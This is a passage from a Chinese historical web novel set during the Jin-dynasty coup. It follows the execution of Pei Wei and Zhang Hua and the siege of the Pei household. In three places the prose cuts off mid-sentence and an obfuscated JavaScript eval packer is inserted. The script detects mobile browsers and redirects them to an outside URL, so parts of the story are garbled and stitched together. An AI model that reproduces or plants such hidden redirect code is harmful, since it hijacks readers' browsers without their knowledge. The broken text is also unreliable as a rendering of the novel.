小郭氏身子一软,就要倒下去,幸好定春眼疾手快,扶住了她。 小郭氏颤颤巍巍地问:“连郭家都被围了吗?我阿耶领的兵呢??” 王夫人白了她一眼,就你们郭家那不足千人右军,在这几万的禁军面前能干嘛? 她急的是王家也被围了,那么送去王家的孩子们怎么办? 有孩子的几个妇人都不约而同地看向听雨,尤其柳蕙,扶着婆婆的手不禁一松,本能地捂住胸口,她家小儿尚不满周岁,是孙辈里最小的一个,如何禁得住折腾! 只听王夫人问:“不知小郎来的路上可曾见到家中小儿?” 听雨正要说这事,他半是安抚半是回禀道:“二位夫人莫急。王家和郭家与府上一样,只被围困,并未有大冲突。仆来报信的路上,恰见到诸位小郎君与小女郎出府。仆怕他们有失,便擅自做主将他们安置于东街的刺史府别院。” 原来如此,真是万幸啊! 王氏的心这才放了下去。不得不承认,如今这时候,凉州刺史的别院,才是最安全的! 小郭氏听罢,亦回过点精气神来,扶着胸口吁出口浊气——他们长房只得一个孙儿,孩子没事就好。 听雨转头看了一圈,越过众人来到裴妍面前,不同于二位夫人面前的从容,他毕恭毕敬地朝裴妍请安:“元娘莫急,仆已去信郎君,不日便有音信传来。大郎亦说,不会放任府上不管。” 裴妍素来信重张茂,听他这么说,苍白的面色略缓。只是,她回头看了眼母亲和王夫人,将听雨拉至另一边,问:“茂郞曾留有人手于我,言非常之时可用,现下可是时候?” 听雨自是晓得此事。张茂临行前,亦曾叮嘱他京中的人手调用以护住家门和钜鹿郡公府为首要。 只是听雨上头毕竟还有张大郎,他不敢擅专,听大郎的意思,如今还未到鱼死网破的时候,仍要低头行事。 他应道:“如今形势未明,一动不若一静。有我家大郎在,女郎尽可放心。” 最后一句有意提高了音量,即便离得远的王夫人亦听得分明。 王夫人神色复杂地瞄了眼裴妍,头一回正眼瞧这个侄女。 前一阵若非这孩子执意悔婚,她们差点就错过了凉州刺史这门大靠山。如今凉州有数十万兵马坐镇,无论哪个诸侯上位,对张轨这样的封疆大吏只敢拉拢,不敢得罪。 也是这时候,她才隐约理解丈夫裴頠为何会同意侄女的“胡闹”。也许,那时他便未雨绸缪,防着今日了吧! 想起丈夫,王夫人脸色一沉,透过槅窗望向不远的宫阙,翻滚的墨云压在一角翘起的宫檐之上,赤色的朝霞透过重重阴云打在屋顶的鸱吻上,露出一派猩红——好似被抹了脖子的家禽。 王氏一怔,脸色更加苍白。 凉州刺史派人给钜鹿郡公送小定之礼的消息很快传到了赵王的案头。 赵王眉心一跳,素来知这二人来往密切,没想到如今裴頠都要倒台了,张轨不仅不避嫌,还巴巴地过来攀关系。 他脸色阴沉,张轨高调行事,可不就是明摆着告诉自己,裴頠有凉州作保,要自己放他一码么! 孙秀在案边侍立良久,盯着手边备好的金屑酒,心里着急。 张华是肯定要死的,他一介寒门,根基浅,想杀他如捏死一只蚂蚁般容易。 难的是裴頠,他到底出身河东裴氏。可自己已经把钜鹿郡公得罪透了,他不死,等缓过劲来,死的就是自己! 为此,孙秀在下属裴绰的引荐下,连夜拜访了河东裴氏留京主事的几位家老,从他们那里探来口风——裴頠只是河东裴氏的庶支,这些年因着贾后提携,与嫡支分庭抗礼,早引得本家不满。如今贾后倒台,裴家只想弃车保帅,舍一个喧宾夺主多年的旁支庶亲,保全族平安。 故而孙秀早早备下了金屑酒,只等赵王一声令下,便将张华和裴頠这两个眼中钉就地正法! 谁想,这个节骨眼上,老对头张轨居然又跳了出来,公然为裴頠作保。 他恨得牙痒痒,暗忖,我拿手握重兵的张轨没办法,难道还治不了已成阶下囚的裴頠么? “张裴二人狼狈为奸揽权多年,亲佞远贤,致使有才之士沦为下潦,连大王都曾受其排挤。首恶不诛,如何服众?当断不断反受其乱,大王切不可妇人之仁!” “可凉州……” 孙秀眯眼,上前一步,低声道:“凉州虽兵强马壮,然匈奴五部动乱,氐羌亦不服者众。那张家自己屁股还没擦干净,万事尚且仰赖京畿,怎敢插手宫中事?待大王平了首逆,执牛耳于朝,他们还能如何?” 赵王心中一动,往日对贾后卑躬屈膝的新仇旧恨,齐齐涌上心头。 张华和裴頠是贾后最大的倚仗,只要这二人死了,贾后便如同那砧板上任人宰割的鱼肉,不足为惧。 阴风掠过案头的豆灯,昏黄的光晕扑闪着晃了两下,终至覆灭。 赵王闭目隐在暗戳戳的阴影之中,半晌,朝孙秀摆了摆手。 孙秀会意,急忙端起金屑酒,领着一队心腹朝关押张、裴二人的偏殿行去…… 天上打下最后一道惊雷,守偏殿的禁军听到殿里响起一阵挣扎的响动,很快,便重又恢复了静谧,好似从未有人来过一般。 一刻钟后,孙秀志得意满地带着侍从离开。 禁军得令入内,只见殿内一地狼藉,翻滚的酒器旁,两具冠三梁着山龙九章的男子倒伏在地——一个头发花白,怒目圆睁;一个面容姣好,唇角含血。 行在最前的那名禁卫恰与薛五郎相熟,此前亦曾随薛五郎拜见过张华与裴頠。 他本是三部司马的人,亦是昨日莫名其妙追随上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044714|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峰走,稀里糊涂地跟着清了君侧,入了宫闱。 他看着这两位曾经呼风唤雨的老大人,如今竟这般殒于小人之手,难免兔死狐悲,叹气摇头,却一字不敢多说,只是一面麻溜地随众人将二人收敛,是葬是烧,等上面示下;另一面想办法联络并不当值的薛五郎,想把这惊天的消息当人情卖出去。 另一头,薛五郎亦正想方设法地打探宫里的消息。 昨日他并不当值,今早却被上峰告知在家休整,等接到通知再上值。 他虽是乡下来的,家住得离宫城也远,但从昨夜始,一队队着三部司马服制的人守着坊门,不许百姓随意走动,如此反常,早已暗示京中出了大事。 一早,裴娴挺着孕肚大着胆子偷溜去斜对门的邻居家串门。这家的郎主就是宫里的那个禁军小校,此前在三部司马当值。 俩家的男人是同袍,女眷也处得投机,又是街坊,素来走得近。 就听他家女主人屏退诸人,小声地跟裴娴说起自己男人自前日被上峰叫去队里后就再没回来,又说了队里此前种种反常之处。虽零碎,却惊得裴娴阵阵腿软。 待她踉跄着回了家门,夫妻俩坐着一对盘,真相便猜得八九不离十了。 裴娴急得团团转。这时候,她连坊门都走不出去,更遑论找本家亲戚套问消息了。 说起来,他们家跟赵王虽然没结仇,但也不是一路人。并且因着张家之故,他家和钜鹿郡公府走得更近些。 裴娴坐立不安,以帕拭泪:“赵王下一步,不会要清理我们吧?”又咬牙恨道:“好不容易来京城,富贵没沾着,先就把命送了!” 薛翊抬手,示意她噤声。 薛家在京中的产业不大,能分给他这个幼子的院子更是小之又小,连着内宅厢房拢共不过三进。 他瞄了眼院外,依稀能听到坊间执勤的兵马来回走动时甲胄发出的叮咣声,一走一撞,每一下都打在人的心坎上。 他轻声安抚妻子:“短期内不会,京里那么多人物,我们算哪个牌面的?赵王即便清了君侧,下一步也当安稳人心。” 裴娴心下略缓,又想起族妹裴妍,不禁愁上心头:“钜鹿郡公倒了,张家二郎远在凉州,阿妍怎么办?” “总还有张大郎在。裴家对张家有恩。”薛翊淡淡道,“我观张家兄弟,都是能扛事的。” 裴娴没见过张寔,不好评价。只是,就事论事讲,这生死档口,钜鹿郡公府明眼地大厦将倾,就凭裴妍那半截子姻亲,真能让张家出面与赵王硬顶? 她瞄了薛翊一眼,想起丈夫此前在花楼鬼混,半月不着家,一股闷气涌上心头,腹诽这年头做丈夫的都未必靠得住,何况大伯子? 尽管钜鹿郡公府被围,但这处高门大宅前依然不缺热闹。 前脚听雨领着凉州的人马刚走,后脚东海王府便派了一队人来——原来近日是先钜鹿郡公,即裴妍的父亲裴浚的四十冥寿。东海王妃身为裴家族女,来为早逝的族兄送奠仪。 若搁从前,倒也说得过去。可在这个节骨眼上,连河东裴氏本家都闭门不出,不敢与裴頠有丝毫牵扯,她这个出嫁的裴家女,上赶着凑什么热闹? 何况钜鹿郡公府都要倒大霉了,哪里顾得上办冥寿?这幌子用得也太不高明了! 打头的将领皱着眉头,上下打量着眼面前这个趾高气昂的胡人部曲,又看了眼他身后人高马大的府兵,联想到前一阵被传得沸沸扬扬的裴家元娘与东海王世子的断亲纠葛,不禁有些狐疑,谁家断亲了还来往的? 但东海王府的来人就在面前,他只是三部司马里的一个小人物,既不敢得罪凉州刺史府,亦不敢得罪东海王府,只得心不甘情不愿地再次让路。 当然,他依然只给了对方半柱香的时间——反正方才凉州刺史的人都让进了,即便上峰要怪罪,也不差这一个!与其得罪这两家,不如顺手卖个人情,真追究起来,现成的挡箭牌不是! 东海王府的人这一进去,没多久外面的守将便听得里间嚎啕一片,哭声震天。 领头的将领尚不知裴頠已死,故而不知府里面发生了什么,又不敢强闯进去探看,只得再次派人把东海王府来人的消息传回了赵王那里。 60. 风生水起建高楼,登峰造极何时休…… 钜鹿郡公府里,女眷早已倒伏一片,哀哭声此起彼伏。就连素来沉稳的王夫人,亦瘫软在地,眼眶通红,目眦欲裂! 裴该更是一把拔了剑就要往门口冲,幸被家人拦了下来。 赵王命孙秀处死裴頠和张华时,自觉行事隐蔽,无外人察觉。奈何宫变时,宫里的黄门宫女一时难以清理,大部分只能沿用旧人。这就给了各路眼线可趁之机。 裴、张二人前脚被处死,后脚东海王府便收到宫里的密信。 司马毗早在听说钜鹿郡公半夜被天子宣召进宫时,便猜大事不妙。果不其然,不久,便听宫里的眼线传来消息说裴頠和张华一同被天子赐死。 他心头一跳,既为裴妍一家忧心,又为赵王的妄为头疼——上位者不怕蠢,却怕坏,可这赵王分明又蠢又坏! 裴妃亦唏嘘不已,既痛心裴頠这样的能人赵王说杀就杀,钜鹿郡公一家自此失了依仗,又庆幸两家事先解除了婚约,暂时不会成为赵王的眼中钉。 可是,钜鹿郡公府一门女眷,里面不乏与她交好的小郭氏和裴妍。虽说家门利益在前,可这么多年的情分也是实打实的,完全撂下不管,让她良心何安? 她纠结半晌,左右为难,却听儿子已经做了决断:“儿记得先郡公冥寿将近,母亲以往都要添一份奠仪,何如今日送去?” 裴妃心里一热,儿子到底重情义,像她,不像那个只知利害的死鬼老子! 这档口,赵王当笼络各路诸侯,想来不会为难他们母子。何如趁乱送些消息进去,也好让府里的人有个应对? 不久,便有一队府兵,晃晃荡荡往钜鹿郡公府行去。 如今钜鹿郡公府与王司徒府、郭将军府皆被围,内外消息断绝。司马毗只好以王妃的名义,以为先钜鹿郡公裴浚冥寿添礼为契机传递消息。 奠仪不多,仅一辆马车拖着,两边各护着四个高鼻深目的胡奴。 裴妃目送着担礼的人远去,对儿子感叹:“我们能帮的,也就这些了!” 这话既是对自己说的,亦是对儿子的劝告。 知子莫若母,司马毗对裴妍的心思她如何看不出来?只叹造化弄人,好端端的良缘,之前被老太妃搅局,如今又碰上这等危局,再深的感情,也只能打住——裴頠已死,钜鹿郡公府已成了河东裴氏的弃子,更是赵王的眼中钉,即便司马毗再心悦裴妍,为了家门安危,二人也是不可能的了。 司马毗心底一沉,默默攥紧手里的印信,那是临行前,父亲亲自交到他手上的,凭着它,他可以调动东海王府在京中的一切人事。他能在京里迅速站稳脚跟,与父亲的全力扶持脱不开关系。 直到手心攥出深深的印痕,他才应了一声:“儿省得。” 裴妃回头,见儿子的侧脸隐在照壁的阴影后,看不清喜怒。 她心下一软,劝道:“你莫要太忧心。听闻阿妍新与凉州刺史的二郎议亲,赵王再混不吝,看在凉州的面子上,也不敢拿钜鹿郡公府的女眷如何。” 这话不提便罢,说了后,只见司马毗脸色一变,眼中燃起一簇似怒似恨似悔似怨的幽光,就听他冷冷甩出一句:“这么快就议亲了?倒是我白白担心一场!” 言罢拂袖而去。 裴妃错愕地看着儿子远去的身影,无奈地摇头。她不知道儿子与张茂之间的恩怨,只以为司马毗仍对裴妍余情未了,听说她很快另适他人,一时间醋意上头罢了。 东海王府冒险送来的消息打破了钜鹿郡公府诸人最后的希望。 裴该年轻气盛,想冲出去杀个鱼死网破。然而妻子兄弟俱拦着他,不让他出门做那好死的鬼。加上王夫人悲痛欲绝,一口气没上来晕了过去,众人赶紧又来扶王夫人。 府上被围,后街的顾和缓也没法请。 好在小郭氏素来药不离身,自香囊里摸出两枚人参丸子,与王氏和水灌了,王氏这才悠悠转醒。看到一边泣不成声的裴妡,说不得,娘们之间又是一通哀哭。 长房的母子三人虽不及二房那般悲痛欲绝,但裴頠作为家门的顶梁柱,突然倒了,于谁都是晴天霹雳。 王氏如此,暂时无法理家,小郭氏只好先接手来,让下人去预备几匹白布来,裁了分与诸人系上。又让人清点库房里的药材,不拘人参灵芝,有那温补的尽皆拿来备着,以防万一。又让门人看着守在外面的三个郎君,不许他们轻举妄动。 裴妍一双妙目通红,轻声抚慰着一旁泣不成声的裴妡,抬头见满堂亲眷哀哀痛哭,自己心里亦止不住的惶惑——叔父死了,她们,该何去何从? “女郎节哀!”一声粗犷却醇厚的嗓音自身后响起。 裴妍一吓,转身才发现是方才那个来传消息的王府部曲。 他虽着粗陋的府兵服制,但一身甲胄衬得人高马大,绿油油的眼珠子好似一波碧黑的幽潭,里面倒映着眼尾通红的自己。 裴妍心下一跳,这人怎么有几分眼熟? 那人亦毫不回避地直视着她,目光灼灼,一双绿眸染上了奇异的光彩。 裴妍脸上一热,蓦地收回目光,后退一步,轻声对来人道谢:“还未谢过壮士,若非阁下传信,吾等尚不知家中变故。” 若搁从前,这种王府传信的部曲根部不可能登堂入室,更不可能见到她。 奈何如今内外交困,来人明显带着重要的消息,故而裴崇特意屏退下人,将这队部曲的头目——这个胡人男子引至堂上。 这男子亦不敢藏私,将裴妃交代的,以及自己知道的外面的境况,一五一十地悉数告诉了府里诸人。 寒暄话毕,裴妍正欲转回屏风后,就听那男子忽而小声问她:“仆名石勒,还是当年女郎赐名。女郎……记得否?” “石勒?”裴妍有一瞬的愣怔。 石勒见她愣在当场,以为她大抵忘了,眼中难掩落寞:“六年前,女郎曾释过一个被掳来的马奴。那年东郊外,仆亦曾……” 话音未落,就见旁边一个妙龄的侍女突然上前挡在他和裴妍之间,神情戒备地盯着他。 他喉间一梗,只得恭恭敬敬地后退一步,不再言语。 裴妍却抬手止住容秋。她并未忘记石勒,马场释奴,东郊相助,有些事,想忘也忘不了。她只是有些诧异。 “你不是回乡了吗?”裴妍拨开容秋,上下打量了一圈这个人高马大的胡人,很难将眼前这个结实遒劲、沉稳内敛的壮汉与当年那个瘦弱邋遢却又狡黠大胆的少年联系起来。 石勒见她终于认出自己,深邃的眼眸微闪,似枯木逢春,久旱逢霖,眸中不自觉涌出一阵喜意。 不顾身侧侍女警惕的目光,向前略近一步,拱手道:“得女郎关照,仆得以回乡,只是不久又出来谋事,因缘际会入了东海王府,如今忝为队副。” 原来如此,这际遇倒是难得,裴妍点头。 若搁从前,她定要唏嘘一番。可如今家中境况,她实在无心与石勒闲聊,略勉励了两句,便去立屏后头照应小郭氏去了。 石勒几经周转,终于可以与裴妍当面,又见裴妍还记得自己,心中一阵快慰。然而堂上哭声一片,联想如今裴家近况,他心下一沉,立马又肃了脸色,默默地退到廊下听候府上差遣。 他身后那个叫猴儿的手下凑到他边上,低声问:“头儿,咱们不是来送奠仪的么?礼既送到,是不是该撤了?” “急什么?半个时辰还没到呢!”石勒瞥他一眼:“咱们王妃与巨鹿郡公府的交情你不是不晓得。好人做到底,万一他家有什么消息或物事要咱们代为传送呢?” 底下人觉得有道理,便捺着性子随他在廊下候着。 因事机要,屋内门窗紧闭,王夫人抱着女儿和儿媳悔天恨地地痛哭不止,直到胸闷气短,险些再次晕厥。 裴崇赶紧开窗通风,将老母扶至廊下。 凉风过脑,王夫人嗅了嗅婢子手里的冰片手炉,只觉脑子清爽了些。目光扫过廊下立着的一队胡人,复又看了眼侍候在小郭氏身边的侄女裴妍,眸色微闪,透着一抹赧意。 谁能想,以往看不上的人,如今却得依附她的关系来救自家。 裴妍自然不知晓大伯母那百转千回的心思。她正同裴憬夫妇服侍小郭氏躺于榻上。 小郭氏本就身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她颤着手自袖囊中取出张茂给自己的那枚鸡血石印信,递与容秋:“那些人手我只在花名册上看过,却不识得几个。你长在张家,与他们当比我熟络。劳你设法与他们联系。若大郎怪罪,尽数推我头上就是。” 容秋接过私印,略一思量,便利索地往前院角门走去。那里有棵硕大的香樟,枝叶宽阔,紧挨着隔壁的院墙。 不久,她便在树顶系好了红绸——这是张茂交代的联络方式之一。 她心内惴惴地等着人来接头,心里却分外没底。 毕竟,这些人手到底是张家的人,还是纯粹二郎的人,她也说不好。若是二郎的人还好说,若是张家那头的,且得看大郎的意思。听雨曾是裴家家奴,如今都不敢违逆大郎。这些人,她们又能调动几分? 廊下,石勒眼睁睁地见裴妍与婢女商量着什么,而后那婢子似领命而去,不知要做什么。 他正欲上前,然而半个时辰已到,府外的将官半是强硬半是客气地请他们出府。身后的下属亦劝他莫要与赵王手下起冲突,石勒无奈,深深看了眼裴妍,转身离开。 另一厢,孙秀头疼地看着下面人传来的消息,没想到裴頠死了,河东裴氏那里也打了招呼,钜鹿郡公府却还是动不得。 光是打头来的两波人——凉州刺史府和东海王府就都不是省油的灯。更不用说朝中为他们家喊冤叫屈的那些世家故旧。 孙会见父亲面色有异,舔着脸去瞧密信,待看清奏报后,蜈蚣似的八字眉瞬间倒竖,怒道:“这些人疯了么,居然敢和阿耶作对,当我们不敢动他们怎的!” 孙秀被儿子嚷嚷得头疼。他捏着眉心,呵斥道:“那么大声作甚,生怕大王不晓得?” 孙会被老子吼得讷讷的,缩着脖子不敢答话。 孙秀闭目思索片刻,缓缓道:“如今裴頠已死,他那几个子侄,必不能留。至于剩下的妇孺,既有凉州刺史和东海王府作保,我们总得给几分薄面!” “不成!”孙会脱口道。见父亲怒目瞪着自己,一时又有些惴惴,嗫嚅半晌,到底结巴着说出他那点小心思:“京中皆传言,他家那两个待嫁女郎是出了名的绝代佳人。儿想……反正是要娶亲的,不如……” 61. 张大郎智珠在握,挚神仙卜筮救人…… “啪”地一声。 孙会话未说完,眼前一花,一卷竹简横空砸来,孙秀只觉脑门瞬间如遭雷劈般疼痛难当。 他按住脑袋踉跄着后退几步,下意识一摸,黏黏答答的,只见满手鲜血,再看上首,父亲孙秀正脸色铁青地望向他。 “阿耶砸我作甚!不是你天天让我成家来着!”孙会瞪大眼睛,梗着脖子叫屈。 “呵!”孙秀怒道,“我是要你结亲,不是要你结仇!没听张家说么,那裴家元娘是他家二郎未过门的新妇!” 张茂?又是这厮!“呵,那个马奴的女人?” “不管你有多恨,现如今,他家的女人,你碰不得!”孙秀沉声道。 孙会觑了眼老父阴沉的脸色,不敢再撩虎须,嗫嚅着道:“这个不行,另一个给我也好。” “呵,那得问过太原王氏!” 孙会浓黑的八字眉瞬间又拧了起来,大叫道:“凉州那头你怕,太原王氏有什么?你也怕!我们冒了那么大风险跟着大王起事,到头来连个像样的女人都捞不着,何苦来!” 他一屁股胡坐在地上,也不管身后老子气得喘不上气来。 孙秀真想提剑砍了这孽畜,敢情他起事就为了得到几个女人?不过到底是自己的独子,看着赖在地上兀自气鼓鼓的儿子,孙秀一时又有些心软。想想儿子也老大不小了,到现在连个像样的亲事都没说成,确实有些窝囊。 他难得压了火气,软声道:“阿耶就你一个儿子,能亏了你?裴家再大,能大过皇家?吾儿与其招惹她们,不若尚主!” 圣上嫡亲的儿子只有一个,就是太子,已经死了。女儿却有好几个,但是正当年而未成亲的却只有一个——河东公主司马宣华。 “你是说贾南风的女儿?” 见儿子投来狐疑的目光,孙秀抹了把八字胡,瘦削的脸上露出一抹意味深长地笑:“自然!贾南风虽被废,但她女儿尊号尚在。吾儿志勇无双,尚主正相宜!” 想起河东公主那张酷似其父的柿饼脸,和传自她母亲的矮胖身材,孙会只觉泄气,顾左右而言他道:“我们刚废了贾南风,屠了贾家人,公主肯嫁我?” “哼,这哪里由得她!” 孙会却依旧不情不愿。 孙秀当然知道儿子的性子,怕他不依,赶紧安抚道:“你只管当了这驸马都尉,其他女人,但凡你想要,我都依你!” 不等孙会开口,又补充一句:“只不许是裴家那两个不好惹的!” 孙会刚亮起的绿豆眼又暗了下去,原还想既娶了公主,又纳了裴家女郎来着。 不过老爷子话已经说到这份上,他也懂得见好就收的道理。 罢了,京城佳人何其多也,没了裴家二女,总还有其他人家! 他朝父亲拱拱手道:“如此,便听阿耶的!” 心底却在盘算着,今晚搞哪家女人好?记得石崇有个美妾,叫绿珠的? 一想起女人,这厮浑身来了精神,匆匆找了借口,回去寻自己的猪朋狗友商讨对策去了。 不多久,坊间便传来石崇爱妾绿珠被逼跳楼身死,石崇被拉去东市除以极刑的消息。 石家上下但凡在京的亲眷尽皆问斩,珍宝、财货、田宅、奴仆悉数被抄。 曾经富可敌国的石家,就此落幕! 而这,仅仅是开始…… 阴云若枯萎的芦絮乌压压地堆积在洛阳城头。 午后的阳光撕裂开一侧云层,斑驳而下,偶有一点金光洒在立屏后的裴妍脸上。 她揉揉湿润的眼角,任身后的容秋给她扎上素纱头绳。 自晨起至今,她尚未洗漱,与府里众人一样,蓬头垢面。 如今情状,无论是郎君还是女眷,都不敢再回各自住处,只敢聚在前院的几间厢房里,有事也好互相照应。 裴頠身死,阖府被围,京城这情状,谁也不知后续会发生什么。 下人来报,府里可供白事用的麻布不多了。冷静下来的王夫人和小郭氏商量一番,命身边仆从将此前用来裁做蚊帐的素纱撕条,仆役领了系在腰上权当戴孝。又命贴身婢子清点随身细软,以备不时之需。 府里有王夫人与郭夫人坐镇,一切按章程行事,也算有条不紊,仆婢们见主家如此,悬着的心先就放了一半。 张刺史府,前院书房的灯烛亮了整整一宿。张寔的妻子贾蓁看不过去,亲自下厨做了可口的鲜汤小菜,命仆婢送去前院。 婢女们脚步匆忙地自廊下穿行而过,到二门时,却被戒备森严的部曲远远地打发了回去——吃食也由他们转交。 书房内,张寔熬了一宿,侧卧于榻,下首幕僚亦有力竭之态。 然而在座无一人敢回去休息——如今朝中情势万变,危急存亡之秋,岂敢掉以轻心? 听雨陪侍末座,刚说完裴家近况,就听外面有部曲来报,言宫中密探传信,张司空与裴侍中被害,张华的长子张韪亦被赐死,司空府被查抄。只钜鹿郡公府依然围而不剿,不知朝廷下一步动作。 这消息如同水入油锅,令在座大惊。 听雨先就坐不住,下意识看向上首的张寔,只见他眉头拧成川字——张华与裴頠和他们安定张氏私交甚笃,可谓荣辱与共。如今这二位双双遇害,对他们家而言实在是祸事。 想不到赵王如此狠绝阴毒,竟比贾后更甚! 张相与裴侍中皆是朝里公认的贤人,他竟半分余地不给。 想到赵王手下的孙秀与自家的纠葛,张寔更是恨得牙痒,心知此事必有他推波助澜。 父亲张轨与司空张华曾有约定,若一方有难,另一方必设法护其一脉。 如今司空府被抄,张华的长子亦被赐死,已无法挽回,好在张华的次子张祎出任地方,不在京中。 张寔不敢耽搁,命左右:“速去信彦仲(张祎字),告知京中事,另调一队精壮,护其西行。” 手下自领命而去。 听雨心中惊涛骇浪,张司空如何他无暇过问,但裴侍中却是旧主,更是裴元娘的叔父。 “大郎,未知巨鹿郡公府……” 张寔抬手,打断他:“裴家那里,我已请人出面。最迟明日,便有消息。” 听雨一愣,暗忖:听刚才幕僚们谈起,赵王连齐王的面子都不给,显然是个刚愎自用的混不吝,又有哪个中人有这么大面子,可以劝动赵王赦了巨鹿郡公府? 然而,未等张大郎这头来消息,却有胡饼店的私兵求见。 来的部曲名唤丁季,是张茂手下的队副,一身褐衣短打,做市井小民的扮相。 见到听雨,他无暇客套,直截了当地传裴妍的令:“元娘有命,叫我等设法助其家人出府。” 听雨深吸口气,并未感到十分诧异,毕竟赵王灭张家在先,难保不会对裴家动手。 只是,想起张大郎方才所言,他沉吟了会,到底站在张寔那边,道:“且让容秋稳住元娘,大郎那里自有后手,请她稍安勿躁。” 丁季犹疑:“可是二郎有令,让我等以元娘为尊。” 听雨自然记得张茂的话。但在这紧要关头,一边是成熟稳重的张大郎,一边是从未主过事的裴元娘,他私心里自然更信服前者。 “大郎说最迟明日便会来消息。你我便劝元娘等上一日,若事不成,另行决断不迟。” 丁季觉得有理,赶紧回去联系容秋。 时值正午,天色却不见好转,斑驳浓厚的黑云如一张湿透的幕布,将整个皇城牢牢地笼罩其中。 含章殿外,桂树枝丫暗影乱颤,印在乌木十字窗棱上,好似群魔乱舞。 赵王抿着唇角,一脸凝肃地坐在上首,吊稍眼里精光暗藏,牢牢地盯着堂下。 挚虞正襟危坐,手上的五十根蓍草分了又分。终于,六次之后收卦。 赵王身子往前微探,试探着问:“如何?” “不好。”挚虞摇头。 “竟是下下卦?” 挚虞既不点头也不摇头,不紧不慢道:“阴阳相转,尚有动爻,可趋吉避凶。” “动在何处?”赵王急道。 挚虞解答:“吉人行善,惟日不足。围三漏一,方显余庆。” 赵王闻言,蹙眉捻须,半晌不语。 他初执牛耳,正是恩威并施的时候。前番诛张华、裴頠,是显威。如今,也该布恩了。…… 巨鹿郡公府,裴妍听了容秋来报,秀眉锁紧,隐有薄怒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贾后可以独揽乾纲十年,令宗室、外戚和世家表面归顺,除了她背靠傻皇帝,占着大义的名分外,还因她听得进贤臣的谏言,处理朝事杀伐决断,又深谙派系制衡之术,让诸臣不得不服。 至于郭太夫人与王夫人,二人先后为巨鹿郡公府主母,掌阖府人事财权,威望也在一天天的治家中打磨出来。 而裴妍,她此前的十几年人生里,既无掌家管事的经验,又没有宫闱谋生的本事,如今的她,脆弱得好似刚出世的婴儿,一夕之间失了襁褓,尽管努力啼号,却无人在意。 她内心憋闷,心里藏着一股浊气。 若说从前,她满脑子想的都是温柔乡的旖旎,对那些权啊钱啊不屑一顾。而今的她,只恨自己过去犹如痴子,空长了年岁,没半分能耐撑起家门。 她更是头一次意识到,张茂是张茂,自己是自己。 张茂能驱使的人,她未必驱使得动。那些信服张茂的人,未必能信服她。张茂有的种种筹算,她一样也没有。 以色侍人,安能长久! “如今才醒,是不是晚了?”裴妍喃喃。 突然,门外隐隐传来一阵人仰马嘶的响动。 一时间,如油入沸水,在这多事之秋,每一点动静都牵扯着府里上下的人心——令人禁不往最坏处想。 贾后倒了,家主死了,姻亲们囚禁的囚禁,断交的断交,如今,终于轮到她们这些池鱼了吗? 长房和二房很快汇到一处。 王夫人一身素袍,面容清冷,端坐于堂。裴妡红着泪眼,无声地靠着母亲坐着。崔华堂、始平公主亦侍奉在侧。 诸人皆一身素服,面色凄楚,有暗自落泪的,有失神惶惑的,但皆衣冠齐整,无一人失态——即便引颈待戮,也不失百年世家的风骨。 小郭氏亦撑着病体,被柳蕙请了出来。 裴妍赶紧去牵母亲的手,却发现她母亲的指尖冰凉彻骨,一丝人气也无。 “手炉呢?” 定春为难地朝下使了个眼色,原来手炉就在小郭氏的另一只手里。 裴妍大骇,知道阿母这是寒症又发作了。 她无法,只得牢牢将小郭氏揽在怀里,试图用自己的体温捂着浑身打颤的母亲。 一时间,女眷皆集于堂上,儿郎们则守在廊下。 一屋子女人,除了屏气凝神的呼吸声,竟是落针可闻。 裴妍的心跳到了嗓子眼。 她的脑海里不可控地浮现出几年前东郊惨案的一幕幕。那些婢女部曲被屠前,定也如他们这般束手无策吧? 62. 心有千千结难解,羊肠坂道多曲折…… 裴妍的耳畔隐隐响起多年前偶遇庞家流放时,那个老者的哀嚎。 时隔多年,她已然记不清他说了什么,但最后那句:“他日倾覆兮谁葬汝!”宛如魔音绕耳,摄魂夺魄,纠缠不休。 她紧紧握住母亲冰凉的手,骇怕到极致反而镇定下来。她看着满屋子女眷,虽个个惶惶,却无一人失态——哪怕是刚失去母亲的始平公主,刚失去父亲的裴妡,亦腰背挺直的端坐于席,静静地等待着悬于头顶的利剑落下。 裴妍不禁有些欣慰,至少我们一家人都在一起。如此,死便死吧! 只是,不可控的,她的视线再次飘向窗外,要是能再见张茂一面就好了…… 没过多久,就见一个守门的部曲跌跌撞撞地来廊下报信,道是府外的守军,撤了! 一时间诸人好不容易攒起的孤胆瞬间炸了,皆惶惑起来。 王夫人惊得刚勉强站起又跌坐下去。 众人皆不知赵王葫芦里卖的什么药,说不上是该喜还是该忧。 王夫人强作镇定,徘徊两步,欲派部曲偷偷潜出府打探消息,却听门房突然来报,道中书令陈准来访! 陈准原是裴頠老友,只是前番在周处的事上二人有些争执。在这次清君侧中,陈准审时度势,及时改换门庭,是最早投效赵王的那波世家官员之一。 他的到来,让本就惴惴不安的裴府诸人更感诧异。 王夫人一扬手,家老赶紧回身去请。 特殊时期,女眷皆没有回避。 不一时,裴妍见堂哥裴崇亲自将一个瘦高的中年男人引至堂上。 陈准未着官服,一身墨色深衣,头上未笼冠,只插一枚白玉簪。 王夫人见到一身素服的陈准,遥想起当年他与丈夫交游时的种种,不管如今他立场如何,到底心头一酸,先就红了眼眶。 陈准亦露哀容,向王氏见礼,沉声道:“余来迟了,嫂夫人节哀。” 